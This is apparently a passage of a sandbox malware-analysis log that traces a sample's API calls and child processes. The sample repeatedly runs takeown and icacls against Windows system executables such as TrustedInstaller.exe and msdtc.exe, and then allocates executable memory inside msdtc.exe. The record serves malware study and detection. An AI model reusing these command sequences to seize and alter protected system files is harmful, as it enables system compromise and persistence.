0x28e268 [0253.130] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28e1e0) returned 1 [0253.130] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28e268) returned 1 [0253.130] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c900) returned 1 [0253.130] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0xd75058) returned 1 [0253.130] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0xd72850) returned 1 [0253.130] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0253.130] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d258) returned 1 [0253.130] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c240) returned 1 [0253.130] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d268) returned 1 [0253.130] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0253.130] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d278) returned 1 [0253.130] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.130] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d288) returned 1 [0253.130] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d5e8) returned 1 [0253.130] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0253.130] StartServiceCtrlDispatcherW (lpServiceTable=0x15fa50*(lpServiceName="", lpServiceProc=0x8ad040)) returned 1 [0253.175] ExitProcess (uExitCode=0x0) Thread: id = 1017 os_tid = 0x820 Thread: id = 1018 os_tid = 0x830 Thread: id = 1020 os_tid = 0x82c Process: id = "149" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x662b5000" os_pid = "0x81c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\servicing\\TrustedInstaller.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1021 os_tid = 0x840 Thread: id = 1022 os_tid = 0x834 Process: id = "150" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x64bba000" os_pid = "0x734" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\servicing\\TrustedInstaller.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1023 os_tid = 0x848 Process: id = "151" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x5ad48000" os_pid = "0x7b0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1024 os_tid = 0x27c Process: id = "152" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x5c84d000" os_pid = "0x86c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1025 os_tid = 0x87c Process: id = "153" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x56f52000" os_pid = "0x88c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\System32\\msdtc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1026 os_tid = 0x884 Thread: id = 1027 os_tid = 0x540 Process: id = "154" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x4ea57000" os_pid = "0x7ec" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\System32\\msdtc.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1028 os_tid = 0x53c Process: id = "155" image_name = "msdtc.exe" filename = "c:\\windows\\system32\\msdtc.exe" page_root = "0x5935e000" os_pid = "0x4f8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\System32\\msdtc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\MSDTC" [0xe], "NT AUTHORITY\\Logon Session 00000000:0003a941" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 1029 os_tid = 0x300 [0257.705] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x1ff294 | out: ProcedureAddress=0x1ff294*=0x770149d7) returned 0x0 [0257.705] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x1ff294 | out: ProcedureAddress=0x1ff294*=0x77011222) returned 0x0 [0257.705] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x1ff294 | out: ProcedureAddress=0x1ff294*=0x77011856) returned 0x0 [0257.705] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x1ff294 | out: ProcedureAddress=0x1ff294*=0x7701435f) returned 0x0 [0257.705] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0257.705] GetProcAddress (hModule=0x77000000, lpProcName="FlsFree") returned 0x7701359f [0257.705] GetProcAddress (hModule=0x77000000, lpProcName="SetUnhandledExceptionFilter") returned 0x770187c9 [0257.705] VirtualProtect (in: lpAddress=0xfd0000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x1ff348 | out: lpflOldProtect=0x1ff348*=0x2) returned 1 [0257.764] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x330000 [0257.768] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0257.768] GetProcAddress (hModule=0x77000000, lpProcName="CreateFileW") returned 0x77013f5c [0257.768] GetProcAddress (hModule=0x77000000, lpProcName="ExitProcess") returned 0x77017a10 [0257.768] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 Thread: id = 1030 os_tid = 0x798 Thread: id = 1031 os_tid = 0x6b0 Thread: id = 1032 os_tid = 0x3ec Thread: id = 1033 os_tid = 0x8b8 Thread: id = 1040 os_tid = 0x57c Process: id = "156" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x5ba7f000" os_pid = "0x8b0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Program Files\\Windows Media Player\\wmpnetwk.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1034 os_tid = 0x8c0 Process: id = "157" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x59e84000" os_pid = "0x8d0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Program Files\\Windows Media Player\\wmpnetwk.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1035 os_tid = 0x8c8 Process: id = "158" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x5a789000" os_pid = "0x8e4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\servicing\\TrustedInstaller.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1037 os_tid = 0x8dc Thread: id = 1038 os_tid = 0x8d8 Process: id = "159" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x5698e000" os_pid = "0x8fc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\servicing\\TrustedInstaller.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1039 os_tid = 0x8f4 Process: id = "160" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x5119b000" os_pid = "0x98c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1069 os_tid = 0x984